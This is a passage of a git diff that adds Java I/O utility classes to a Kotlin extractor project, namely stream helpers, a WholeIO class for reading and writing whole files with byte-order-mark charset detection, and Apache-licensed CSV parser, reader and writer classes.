+	 * Reads n bytes from the input stream and returns them. This method will block
+	 * until all n bytes are available. If the end of the stream is reached before n bytes are
+	 * read it returns just the read bytes.
+	 *
+	 * @param stream the InputStream
+	 * @param n the number of bytes to read
+	 * @return the read bytes
+	 * @throws IOException if an IOException occurs when accessing the stream
+	 * @throws IllegalArgumentException if n is negative
+	 */
+	public static byte[] readN(InputStream stream, int n) throws IOException {
+		if (n < 0) throw new IllegalArgumentException("n must be positive");
+
+		ByteArrayOutputStream bOut = new ByteArrayOutputStream();
+		limitedCopy(stream, bOut, n);
+		return bOut.toByteArray();
+	}
+
+	/**
+	 * Reads bytes from the input stream into the given buffer. This method will block
+	 * until all bytes are available. If the end of the stream is reached before enough bytes are
+	 * read it reads as much as it can.
+	 *
+	 * @param stream the InputStream
+	 * @param buf the buffer to read into
+	 * @param offset the offset to read into
+	 * @param length the number of bytes to read
+	 * @return the total number of read bytes
+	 * @throws IOException if an IOException occurs when accessing the stream
+	 * @throws IllegalArgumentException if n is negative
+	 */
+	public static int read(InputStream stream, byte[] buf, int offset, int length) throws IOException {
+		if (length < 0) throw new IllegalArgumentException("length must be positive");
+
+		// Copy byte data
+		int total = 0;
+		int read;
+		while ((read = stream.read(buf, offset, length)) > 0) {
+			length -= read;
+			total += read;
+		}
+
+		return total;
+	}
+
+	/**
+	 * Convenience method for constructing a buffered reader with a UTF8 charset.
+	 */
+	public static BufferedReader newUTF8BufferedReader(InputStream inputStream) {
+		return new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
+	}
+
+	/**
+	 * Convenience method for constructing a buffered writer with a UTF8 charset.
+	 */
+	public static BufferedWriter newUTF8BufferedWriter(OutputStream outputStream) {
+		return new BufferedWriter(new OutputStreamWriter(outputStream, StandardCharsets.UTF_8));
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/WholeIO.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/WholeIO.java
new file mode 100644
index 00000000000..d45ea9c5daa
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/WholeIO.java
@@ -0,0 +1,548 @@
+package com.semmle.util.io;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStreamWriter;
+import java.io.UnsupportedEncodingException;
+import java.io.Writer;
+import java.nio.charset.Charset;
+import java.nio.file.Files;
+import java.nio.file.OpenOption;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+import com.semmle.util.array.ArrayUtil;
+import com.semmle.util.data.IntRef;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.files.FileUtil;
+
+/**
+ * A class that allows bulk operations on entire files,
+ * reading or writing them as {@link String} values.
+ * 
+ * This is intended to address the woeful inadequacy of
+ * the Java standard libraries in this area.
+ */
+public class WholeIO {
+	private IOException e;
+	
+	/**
+	 * Regular expression {@link Pattern}
+	 */
+	private final static Pattern rpLineEndingCRLF = Pattern.compile("\r\n");
+	
+	/**
+	 * The default encoding to use for writing, and for reading if no
+	 * encoding can be detected.
+	 */
+	private final String defaultEncoding;
+	
+	/**
+	 * Construct a new {@link WholeIO} instance using ODASA's default
+	 * charset ({@code "UTF-8"}) for all input and output (unless a
+	 * different encoding is detected for a file being read).
+	 */
+	public WholeIO() {
+		this("UTF-8");
+	}
+	
+	/**
+	 * Construct a new {@link WholeIO} instance using the specified
+	 * encoding for all input and output (unless a different encoding
+	 * is detected for a file being read).
+	 * 
+	 * @param encoding The encoding name, e.g. {@code "UTF-8"}.
+	 */
+	public WholeIO(String encoding) {
+		defaultEncoding = encoding;
+	}
+	
+	/**
+	 * Open the given file for reading, get the entire content
+	 * and return it as a {@link String}. Returns <code>null</code>
+	 * on error, in which case you can check the getLastException()
+	 * method for the exception that occurred.
+	 * 
+	 * <b>Warning:</b> This method trims the content of the file, removing
+	 * leading and trailing whitespace. Do not use it if you care about file
+	 * locations being preserved; use 'read' instead.
+	 * 
+	 * @param file The file to read
+	 * @return The <b>trimmed</b> contents of the file, or <code>null</code> on error.
+	 */
+	public String readAndTrim(File file) {
+		e = null;
+		FileInputStream f = null;
+		try {
+			f = new FileInputStream(file);
+			String contents = readString(f);
+			return contents == null ? null : contents.trim();
+		} catch (IOException e) {
+			this.e = e;
+			return null;
+		} finally {
+			FileUtil.close(f);
+		}
+	}
+
+	/**
+	 * Open the given filename for writing and dump the given
+	 * {@link String} into it. Returns <code>false</code>
+	 * on error, in which case you can check the getLastException()
+	 * method for the exception that occurred. Tries to create any
+	 * enclosing directories that do not exist.
+	 * 
+	 * @param filename The name of the file to write to
+	 * @param contents the string to write out
+	 * @return the success state
+	 */
+	public boolean write(String filename, String contents) {
+		return write(new File(filename), contents);
+	}
+
+	/**
+	 * Open the given filename for writing and dump the given
+	 * {@link String} into it. Returns <code>false</code>
+	 * on error, in which case you can check the getLastException()
+	 * method for the exception that occurred. Tries to create any
+	 * enclosing directories that do not exist.
+	 * 
+	 * @param file The file to write to
+	 * @param contents the string to write out
+	 * @return the success state
+	 */
+	public boolean write(File file, String contents) {
+		return write(file, contents, false);
+	}
+
+	/**
+	 * Open the given path for writing and dump the given
+	 * {@link String} into it. Returns <code>false</code>
+	 * on error, in which case you can check the getLastException()
+	 * method for the exception that occurred. Tries to create any
+	 * enclosing directories that do not exist.
+	 *
+	 * @param path The path to write to
+	 * @param contents the string to write out
+	 * @return the success state
+	 */
+	public boolean write(Path path, String contents) {
+		return write(path, contents, false);
+	}
+
+	/**
+	 * Open the given filename for writing and dump the given
+	 * {@link String} into it. Throws {@link ResourceError}
+	 * if we fail.
+	 * 
+	 * @param file The file to write to
+	 * @param contents the string to write out
+	 */
+	public void strictwrite(File file, String contents) {
+		strictwrite(file, contents, false);
+	}
+
+	/**
+	 * Open the given path for writing and dump the given
+	 * {@link String} into it. Throws {@link ResourceError}
+	 * if we fail.
+	 *
+	 * @param path The path to write to
+	 * @param contents the string to write out
+	 */
+	public void strictwrite(Path path, String contents) {
+		strictwrite(path, contents, false);
+	}
+
+	/**
+	 * This is the same as {@link #write(File,String)},
+	 * except that this method allows appending to an existing file.
+	 * 
+	 * @param file the file to write to
+	 * @param contents the string to write out
+	 * @param append whether or not to append to any existing file
+	 * @return the success state
+	 */
+	public boolean write(File file, String contents, boolean append) {
+		if (file.getParentFile() != null)
+			file.getParentFile().mkdirs();
+		
+		FileOutputStream fos = null;
+		try {
+			fos = new FileOutputStream(file, append);
+			Writer writer = new OutputStreamWriter(fos, Charset.forName(defaultEncoding));
+			writer.append(contents);
+			writer.close();
+			return true;
+		} catch (IOException e) {
+			this.e = e;
+			return false;
+		} finally {
+			FileUtil.close(fos);
+		}
+	}
+
+	/**
+	 * This is the same as {@link #write(Path,String)},
+	 * except that this method allows appending to an existing file.
+	 *
+	 * @param path the path to write to
+	 * @param contents the string to write out
+	 * @param append whether or not to append to any existing file
+	 * @return the success state
+	 */
+	public boolean write(Path path, String contents, boolean append) {
+		try {
+			if (path.getParent() != null)
+				Files.createDirectories(path.getParent());
+
+			try (Writer writer = Files.newBufferedWriter(path, Charset.forName(defaultEncoding),
+					StandardOpenOption.CREATE, StandardOpenOption.WRITE,
+					append ? StandardOpenOption.APPEND : StandardOpenOption.TRUNCATE_EXISTING)) {
+				writer.append(contents);
+			}
+		} catch (IOException e) {
+			this.e = e;
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * This is the same as {@link #strictwrite(File,String)},
+	 * except that this method allows appending to an existing file.
+	 */
+	public void strictwrite(File file, String contents, boolean append) {
+		if (!write(file, contents, append))
+			throw new ResourceError("Failed to write file " + file, getLastException());
+	}
+
+	/**
+	 * This is the same as {@link #strictwrite(Path,String)},
+	 * except that this method allows appending to an existing file.
+	 */
+	public void strictwrite(Path path, String contents, boolean append) {
+		if (!write(path, contents, append))
+			throw new ResourceError("Failed to write path " + path, getLastException());
+	}
+
+	/**
+	 * Get the exception that occurred during the last call to
+	 * read(), if any. If the last read() call completed normally,
+	 * this returns null.
+	 * @return The last caught exception, or <code>null</code> if N/A.
+	 */
+	public IOException getLastException() {
+		return e;
+	}
+	
+	public String read(File file) {
+		InputStream is = null;
+		try {
+			is = new FileInputStream(file);
+			return readString(is);
+		}
+		catch (IOException e) {
+			this.e = e;
+			return null;
+		}
+		finally {
+			FileUtil.close(is);
+		}
+	}
+
+	public String read(Path path) {
+		InputStream is = null;
+		try {
+			is = Files.newInputStream(path);
+			return readString(is);
+		}
+		catch (IOException e) {
+			this.e = e;
+			return null;
+		}
+		finally {
+			FileUtil.close(is);
+		}
+	}
+
+	/**
+	 * Read the contents of the given {@link File} as text (line endings are normalised to "\n" in the output).
+	 *
+	 * @param file	The file to read.
+	 * @return		The text contents of the file, if possible, or null if the file cannot be read.
+	 */
+	public String readText(File file) {
+		String result = read(file);
+		return result != null ? result.replaceAll("\r\n", "\n") : null;
+	}
+
+	/**
+	 * Read the contents of the given {@link Path} as text (line endings are normalised to "\n" in the output).
+	 *
+	 * @param path	The path to read.
+	 * @return		The text contents of the path, if possible, or null if the file cannot be read.
+	 */
+	public String readText(Path path) {
+		String result = read(path);
+		return result != null ? result.replaceAll("\r\n", "\n") : null;
+	}
+	
+	
+	/**
+	 * Read the contents of the given {@link File}, throwing a {@link ResourceError}
+	 * if we fail.
+	 */
+	public String strictread(File f) {
+		String content = read(f);
+		if (content == null)
+			throw new ResourceError("Failed to read file " + f, getLastException());
+		return content;
+	}
+
+	/**
+	 * Read the contents of the given {@link Path}, throwing a {@link ResourceError}
+	 * if we fail.
+	 */
+	public String strictread(Path f) {
+		String content = read(f);
+		if (content == null)
+			throw new ResourceError("Failed to read path " + f, getLastException());
+		return content;
+	}
+
+	/**
+	 * Read the contents of the given {@link File} as text (line endings are normalised to "\n" in the output).
+	 *
+	 * @param file				The file to read.
+	 * @return					The text contents of the file, if possible.
+	 * @throws ResourceError	If the file cannot be read.
+	 */
+	public String strictreadText(File file) {
+		return rpLineEndingCRLF.matcher(strictread(file)).replaceAll("\n");
+	}
+
+	/**
+	 * Read the contents of the given {@link Path} as text (line endings are normalised to "\n" in the output).
+	 *
+	 * @param path				The path to read.
+	 * @return					The text contents of the path, if possible.
+	 * @throws ResourceError	If the path cannot be read.
+	 */
+	public String strictreadText(Path path) {
+		return rpLineEndingCRLF.matcher(strictread(path)).replaceAll("\n");
+	}
+
+	/**
+	 * Get the entire content of an {@link InputStream}
+	 * and interpret it as a {@link String} trying to detect its character set.
+	 * Returns <code>null</code> on error, in which case you can check
+	 * the getLastException() method for the exception that occurred.
+	 * 
+	 * @param stream the stream to read from
+	 * @return The contents of the file, or <code>null</code> on error.
+	 */
+	public String readString(InputStream stream) {
+		IntRef length = new IntRef(0);
+		byte[] bytes = readBinary(stream, length);
+		
+		if (bytes == null) return null;
+		
+		try {
+			IntRef start = new IntRef(0);
+			String charset = determineCharset(bytes, length.get(), start);
+			return new String(bytes, start.get(), length.get() - start.get(), charset);
+		} catch (UnsupportedEncodingException e) {
+			this.e = e;
+			return null;
+		}
+	}
+
+	/**
+	 * Get the entire content of an {@link InputStream}
+	 * and interpret it as a {@link String} trying to detect its character set.
+	 * Throws a {@link ResourceError} on error.
+	 *
+	 * @param stream the stream to read from
+	 * @return the contents of the input stream
+	 */
+	public String strictReadString(InputStream stream) {
+		String content = readString(stream);
+		if (content == null)
+			throw new ResourceError("Could not read from stream", getLastException());
+		return content;
+	}
+
+	/**
+	 * Get the entire content of an {@link InputStream}, interpreting it
+	 * as a sequence of bytes. This removes restrictions regarding invalid
+	 * code points that would potentially prevent reading a file's contents
+	 * as a String.
+	 * 
+	 * This method returns <code>null</code> on error, in which case you can
+	 * check {@link #getLastException()} for the exception that occurred.
+	 * 
+	 * @param stream the stream to read from
+	 * @return The binary contents of the file, or <code>null</code> on error.
+	 */
+	public byte[] readBinary(InputStream stream) {
+		IntRef length = new IntRef(0);
+		byte[] bytes = readBinary(stream, length);
+		return bytes == null ? null : Arrays.copyOf(bytes, length.get());
+	}
+
+	/**
+	 * Get the entire content of an {@link InputStream}, interpreting it
+	 * as a sequence of bytes. This removes restrictions regarding invalid
+	 * code points that would potentially prevent reading a file's contents
+	 * as a String.
+	 *
+	 * @param stream the stream to read from
+	 * @return The binary contents of the file -- always non-null.
+	 * @throws ResourceError if an exception occurs during IO.
+	 */
+	public byte[] strictReadBinary(InputStream stream) {
+		byte[] result = readBinary(stream);
+		if (result == null)
+			throw new ResourceError("Couldn't read from stream", e);
+		return result;
+	}
+	
+	/**
+	 * Get the entire binary contents of a {@link File} as a sequence of bytes.
+	 * 
+	 * @param file the file to read
+	 * @return the file's contents as a byte[] -- always non-null.
+	 * @throws ResourceError if an exception occurs during IO.
+	 */
+	public byte[] strictReadBinary(File file) {
+		FileInputStream stream = null;
+		try {
+			stream = new FileInputStream(file);
+			byte[] result = readBinary(stream);
+			if (result == null)
+				throw new ResourceError("Couldn't read from file " + file + ".", e);
+			return result;
+		} catch (FileNotFoundException e) {
+			throw new ResourceError("Couldn't read from file " + file + ".", e);
+		} finally {
+			FileUtil.close(stream);
+		}
+	}
+
+	/**
+	 * Get the entire binary contents of a {@link Path} as a sequence of bytes.
+	 * 
+	 * @param path the path to read
+	 * @return the file's contents as a byte[] -- always non-null.
+	 * @throws ResourceError if an exception occurs during IO.
+	 */
+	public byte[] strictReadBinary(Path path) {
+		InputStream stream = null;
+		try {
+			stream = Files.newInputStream(path);
+			byte[] result = readBinary(stream);
+			if (result == null)
+				throw new ResourceError("Couldn't read from path " + path + ".", e);
+			return result;
+		} catch (IOException e) {
+			throw new ResourceError("Couldn't read from path " + path + ".", e);
+		} finally {
+			FileUtil.close(stream);
+		}
+	}
+
+	/**
+	 * Get the entire binary contents of a {@link Path} as a sequence of bytes.
+	 * 
+	 * @param path the path to read
+	 * @return the file's contents as a byte[] -- always non-null.
+	 */
+	public byte[] readBinary(Path path) throws IOException {
+		InputStream stream = null;
+		try {
+			stream = Files.newInputStream(path);
+			byte[] result = readBinary(stream);
+			if (result == null)
+				throw new ResourceError("Couldn't read from path " + path + ".", e);
+			return result;
+		} finally {
+			FileUtil.close(stream);
+		}
+	}
+	
+	private byte[] readBinary(InputStream stream, IntRef offsetHolder) {
+		try {
+			byte[] bytes = new byte[16384];
+			int offset = 0;
+			int readThisTime;
+			do {
+				readThisTime = stream.read(bytes, offset, bytes.length - offset);
+				if (readThisTime > 0) {
+					offset += readThisTime;
+					if (offset == bytes.length)
+						bytes = safeArrayDouble(bytes);
+				}
+			} while (readThisTime > 0);
+			offsetHolder.set(offset);
+			return bytes;
+		} catch (IOException e) {
+			this.e = e;
+			return null;
+		}
+	}
+
+	/**
+	 * Safely attempt to double the length of an array.
+	 * @param array The array which want to be doubled
+	 * @return a new array that is longer than array 
+	 */
+	private byte[] safeArrayDouble(byte[] array) {
+		if (array.length  >= ArrayUtil.MAX_ARRAY_LENGTH) {
+			throw new ResourceError("Cannot stream into array as it exceed the maximum array size");
+		}
+		// Compute desired capacity
+		long newCapacity = array.length * 2L;
+		// Ensure it is at least as large as minCapacity
+		if (newCapacity < 16)
+			newCapacity = 16;
+		// Ensure it is at most MAX_ARRAY_LENGTH
+		if (newCapacity > ArrayUtil.MAX_ARRAY_LENGTH) {
+			newCapacity = ArrayUtil.MAX_ARRAY_LENGTH;
+		}
+		return Arrays.copyOf(array, (int)newCapacity);
+	}
+
+	/**
+	 * Try to determine the encoding of a byte[] using a byte-order mark (if present)
+	 * Defaults to UTF-8 if none found.
+	 */
+	private String determineCharset(byte[] bom, int length, IntRef start) {
+		start.set(0);
+		String ret = defaultEncoding;
+		if(length < 2)
+			return ret;
+		if (length >= 3 && byteToInt(bom[0]) == 0xEF && byteToInt(bom[1]) == 0xBB && byteToInt(bom[2]) == 0xBF) {
+			ret = "UTF-8";
+			start.set(3);
+		} else if (byteToInt(bom[0]) == 0xFE && byteToInt(bom[1]) == 0xFF) {
+			ret = "UTF-16BE";
+			start.set(2);
+		} else if (byteToInt(bom[0]) == 0xFF && byteToInt(bom[1]) == 0xFE) {
+			ret = "UTF-16LE";
+			start.set(2);
+		}
+		return ret;
+	}
+	
+	private static int byteToInt(byte b) {
+		return b & 0xFF;
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVParser.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVParser.java
new file mode 100644
index 00000000000..749b1bee5df
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVParser.java
@@ -0,0 +1,207 @@
+package com.semmle.util.io.csv;
+
+/**
+ Copyright 2005 Bytecode Pty Ltd.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ */
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A very simple CSV parser released under a commercial-friendly license.
+ * This just implements splitting a single line into fields.
+ *
+ * @author Glen Smith
+ * @author Rainer Pruy
+ *
+ */
+public class CSVParser {
+
+	private final char separator;
+
+	private final char quotechar;
+
+	private final char escape;
+
+	private final boolean strictQuotes;
+
+	private StringBuilder buf = new StringBuilder(INITIAL_READ_SIZE);
+
+	/** The default separator to use if none is supplied to the constructor. */
+	public static final char DEFAULT_SEPARATOR = ',';
+
+	private static final int INITIAL_READ_SIZE = 128;
+
+	/**
+	 * The default quote character to use if none is supplied to the
+	 * constructor.
+	 */
+	public static final char DEFAULT_QUOTE_CHARACTER = '"';
+
+
+	/**
+	 * The default escape character to use if none is supplied to the
+	 * constructor.
+	 */
+	public static final char DEFAULT_ESCAPE_CHARACTER = '"';
+
+	/**
+	 * The default strict quote behavior to use if none is supplied to the
+	 * constructor
+	 */
+	public static final boolean DEFAULT_STRICT_QUOTES = false;
+
+	/**
+	 * Constructs CSVReader with supplied separator and quote char.
+	 * Allows setting the "strict quotes" flag
+	 * @param separator
+	 *            the delimiter to use for separating entries
+	 * @param quotechar
+	 *            the character to use for quoted elements
+	 * @param escape
+	 *            the character to use for escaping a separator or quote
+	 * @param strictQuotes
+	 *            if true, characters outside the quotes are ignored
+	 */
+	CSVParser(char separator, char quotechar, char escape, boolean strictQuotes) {
+		this.separator = separator;
+		this.quotechar = quotechar;
+		this.escape = escape;
+		this.strictQuotes = strictQuotes;
+	}
+
+	/**
+	 *
+	 * @return true if something was left over from last call(s)
+	 */
+	public boolean isPending() {
+		return buf.length() != 0;
+	}
+
+	public String[] parseLineMulti(String nextLine) throws IOException {
+		return parseLine(nextLine, true);
+	}
+
+	public String[]  parseLine(String nextLine) throws IOException {
+		return parseLine(nextLine, false);
+	}
+	/**
+	 * Parses an incoming String and returns an array of elements.
+	 *
+	 * @param nextLine
+	 *            the string to parse
+	 * @return the comma-tokenized list of elements, or null if nextLine is null
+	 * @throws IOException if bad things happen during the read
+	 */
+	private String[] parseLine(String nextLine, boolean multi) throws IOException {
+
+		if (!multi && isPending()) {
+			clear();
+		}
+
+		if (nextLine == null) {
+			if (isPending()) {
+				String s = buf.toString();
+				clear();
+				return new String[] {s};
+			} else {
+				return null;
+			}
+		}
+
+		List<String>tokensOnThisLine = new ArrayList<String>();
+		boolean inQuotes = isPending();
+		for (int i = 0; i < nextLine.length(); i++) {
+
+			char c = nextLine.charAt(i);
+			if (c == this.escape && isNextCharacterEscapable(nextLine, inQuotes, i)) {
+				buf.append(nextLine.charAt(i+1));
+				i++;
+			} else if (c == quotechar) {
+				if( isNextCharacterEscapedQuote(nextLine, inQuotes, i) ){
+					buf.append(nextLine.charAt(i+1));
+					i++;
+				}else{
+					inQuotes = !inQuotes;
+					// the tricky case of an embedded quote in the middle: a,bc"d"ef,g
+					if (!strictQuotes) {
+						if(i>2 //not on the beginning of the line
+								&& nextLine.charAt(i-1) != this.separator //not at the beginning of an escape sequence
+								&& nextLine.length()>(i+1) &&
+								nextLine.charAt(i+1) != this.separator //not at the	end of an escape sequence
+								){
+							buf.append(c);
+						}
+					}
+				}
+			} else if (c == separator && !inQuotes) {
+				tokensOnThisLine.add(buf.toString());
+				clear(); // start work on next token
+			} else {
+				if (!strictQuotes || inQuotes)
+					buf.append(c);
+			}
+		}
+		// line is done - check status
+		if (inQuotes) {
+			if (multi) {
+				// continuing a quoted section, re-append newline
+				buf.append('\n');
+				// this partial content is not to be added to field list yet
+			} else {
+				throw new IOException("Un-terminated quoted field at end of CSV line");
+			}
+		} else {
+			tokensOnThisLine.add(buf.toString());
+			clear();
+		}
+		return tokensOnThisLine.toArray(new String[tokensOnThisLine.size()]);
+
+	}
+
+	/**
+	 * precondition: the current character is a quote or an escape
+	 * @param nextLine the current line
+	 * @param inQuotes true if the current context is quoted
+	 * @param i current index in line
+	 * @return true if the following character is a quote
+	 */
+	private boolean isNextCharacterEscapedQuote(String nextLine, boolean inQuotes, int i) {
+		return inQuotes  // we are in quotes, therefore there can be escaped quotes in here.
+				&& nextLine.length() > (i+1)  // there is indeed another character to check.
+				&& nextLine.charAt(i+1) == quotechar;
+	}
+
+	/**
+	 * precondition: the current character is an escape
+	 * @param nextLine the current line
+	 * @param inQuotes true if the current context is quoted
+	 * @param i current index in line
+	 * @return true if the following character is a quote
+	 */
+	protected boolean isNextCharacterEscapable(String nextLine, boolean inQuotes, int i) {
+		return inQuotes  // we are in quotes, therefore there can be escaped quotes in here.
+				&& nextLine.length() > (i+1)  // there is indeed another character to check.
+				&& ( nextLine.charAt(i+1) == quotechar || nextLine.charAt(i+1) == this.escape);
+	}
+
+	/**
+	 * Reset the buffer used for storing the current field's value
+	 */
+	private void clear() {
+		buf.setLength(0);
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVReader.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVReader.java
new file mode 100644
index 00000000000..cbecb552c56
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVReader.java
@@ -0,0 +1,192 @@
+package com.semmle.util.io.csv;
+
+/**
+ Copyright 2005 Bytecode Pty Ltd.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ */
+
+import java.io.BufferedReader;
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A very simple CSV reader released under a commercial-friendly license.
+ * 
+ * @author Glen Smith
+ * 
+ */
+public class CSVReader implements Closeable {
+
+    private final BufferedReader br;
+
+    private boolean hasNext = true;
+
+    private final CSVParser parser;
+    
+    private final int skipLines;
+
+    private boolean linesSkipped;
+
+    /** The line number of the last physical line read (one-based). */
+    private int curline = 0;
+
+    /** The physical line number at which the last logical line read started (one-based). */
+    private int startLine = 0;
+
+    /**
+     * The default line to start reading.
+     */
+    private static final int DEFAULT_SKIP_LINES = 0;
+
+    /**
+     * Constructs CSVReader using a comma for the separator.
+     * 
+     * @param reader
+     *            the reader to an underlying CSV source.
+     */
+    public CSVReader(Reader reader) {
+        this(reader,
+            CSVParser.DEFAULT_SEPARATOR, CSVParser.DEFAULT_QUOTE_CHARACTER,
+            CSVParser.DEFAULT_ESCAPE_CHARACTER, DEFAULT_SKIP_LINES,
+            CSVParser.DEFAULT_STRICT_QUOTES);
+    }
+
+    /**
+     * Constructs CSVReader with supplied separator and quote char.
+     * 
+     * @param reader
+     *            the reader to an underlying CSV source.
+     * @param separator
+     *            the delimiter to use for separating entries
+     * @param quotechar
+     *            the character to use for quoted elements
+     * @param escape
+     *            the character to use for escaping a separator or quote
+     * @param line
+     *            the line number to skip for start reading
+     * @param strictQuotes
+     *            sets if characters outside the quotes are ignored
+     */
+    private CSVReader(Reader reader, char separator, char quotechar, char escape, int line, boolean strictQuotes) {
+        this.br = new BufferedReader(reader);
+        this.parser = new CSVParser(separator, quotechar, escape, strictQuotes);
+        this.skipLines = line;
+    }
+
+
+	/**
+     * Reads the entire file into a List with each element being a String[] of
+     * tokens.
+     * 
+     * @return a List of String[], with each String[] representing a line of the
+     *         file.
+     * 
+     * @throws IOException
+     *             if bad things happen during the read
+     */
+    public List<String[]> readAll() throws IOException {
+
+        List<String[]> allElements = new ArrayList<String[]>();
+        while (hasNext) {
+            String[] nextLineAsTokens = readNext();
+            if (nextLineAsTokens != null)
+                allElements.add(nextLineAsTokens);
+        }
+        return allElements;
+
+    }
+
+    /**
+     * Reads the next line from the buffer and converts to a string array.
+     * 
+     * @return a string array with each comma-separated element as a separate
+     *         entry, or null if there are no more lines to read.
+     * 
+     * @throws IOException
+     *             if bad things happen during the read
+     */
+    public String[] readNext() throws IOException {
+    	boolean first = true;
+    	String[] result = null;
+    	do {
+    		String nextLine = getNextLine();
+
+    		if (first) {
+    			startLine = curline;
+    			first = false;
+    		}
+
+    		if (!hasNext) {
+    			return result; // should throw if still pending?
+    		}
+    		String[] r = parser.parseLineMulti(nextLine);
+    		if (r.length > 0) {
+    			if (result == null) {
+    				result = r;
+    			} else {
+    				String[] t = new String[result.length+r.length];
+    				System.arraycopy(result, 0, t, 0, result.length);
+    				System.arraycopy(r, 0, t, result.length, r.length);
+    				result = t;
+    			}
+    		}
+    	} while (parser.isPending());
+    	return result;
+    }
+
+    /**
+     * Reads the next line from the file.
+     * 
+     * @return the next line from the file without trailing newline
+     * @throws IOException
+     *             if bad things happen during the read
+     */
+    private String getNextLine() throws IOException {
+    	if (!this.linesSkipped) {
+            for (int i = 0; i < skipLines; i++) {
+                br.readLine();
+                ++curline;
+            }
+            this.linesSkipped = true;
+        }
+        String nextLine = br.readLine();
+        if (nextLine == null) {
+            hasNext = false;
+        } else {
+            ++curline;
+        }
+        return hasNext ? nextLine : null;
+    }
+
+    /**
+     * Closes the underlying reader.
+     * 
+     * @throws IOException if the close fails
+     */
+    @Override
+	public void close() throws IOException{
+    	br.close();
+    }
+
+    /**
+     * Return the physical line number (one-based) at which the last logical line read started,
+     * or zero if no line has been read yet.
+     */
+    public int getStartLine() {
+    	return startLine;
+    }
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVWriter.java b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVWriter.java
new file mode 100644
index 00000000000..e1fee41154a
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/io/csv/CSVWriter.java
@@ -0,0 +1,226 @@
+package com.semmle.util.io.csv;
+
+/**
+ Copyright 2005 Bytecode Pty Ltd.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ */
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.Writer;
+import java.util.List;
+
+/**
+ * A very simple CSV writer released under a commercial-friendly license.
+ *
+ * @author Glen Smith
+ *
+ */
+public class CSVWriter implements Closeable {
+
+	private static final int INITIAL_STRING_SIZE = 128;
+
+	private Writer rawWriter;
+
+	private char separator;
+
+	private char quotechar;
+
+	private char escapechar;
+
+	private String lineEnd;
+
+	/** The quote constant to use when you wish to suppress all quoting. */
+	public static final char NO_QUOTE_CHARACTER = '\u0000';
+
+	/** The escape constant to use when you wish to suppress all escaping. */
+	private static final char NO_ESCAPE_CHARACTER = '\u0000';
+
+	/** Default line terminator uses platform encoding. */
+	private static final String DEFAULT_LINE_END = "\n";
+
+	private boolean[] eagerQuotingFlags = {};
+
+	/**
+	 * Constructs CSVWriter using a comma for the separator.
+	 *
+	 * @param writer
+	 *            the writer to an underlying CSV source.
+	 */
+	public CSVWriter(Writer writer) {
+		this(writer,
+				CSVParser.DEFAULT_SEPARATOR,
+				CSVParser.DEFAULT_QUOTE_CHARACTER,
+				CSVParser.DEFAULT_ESCAPE_CHARACTER
+				);
+	}
+
+	/**
+	 * Constructs CSVWriter with supplied separator and quote char.
+	 *
+	 * @param writer
+	 *            the writer to an underlying CSV source.
+	 * @param separator
+	 *            the delimiter to use for separating entries
+	 * @param quotechar
+	 *            the character to use for quoted elements
+	 * @param escapechar
+	 *            the character to use for escaping quotechars or escapechars
+	 */
+	public CSVWriter(Writer writer, char separator, char quotechar, char escapechar) {
+		this(writer, separator, quotechar, escapechar, DEFAULT_LINE_END);
+	}
+
+	/**
+	 * Constructs CSVWriter with supplied separator, quote char, escape char and line ending.
+	 *
+	 * @param writer
+	 *            the writer to an underlying CSV source.
+	 * @param separator
+	 *            the delimiter to use for separating entries
+	 * @param quotechar
+	 *            the character to use for quoted elements
+	 * @param escapechar
+	 *            the character to use for escaping quotechars or escapechars
+	 * @param lineEnd
+	 * 			  the line feed terminator to use
+	 */
+	private CSVWriter(Writer writer, char separator, char quotechar, char escapechar, String lineEnd) {
+		this.rawWriter = writer;
+		this.separator = separator;
+		this.quotechar = quotechar;
+		this.escapechar = escapechar;
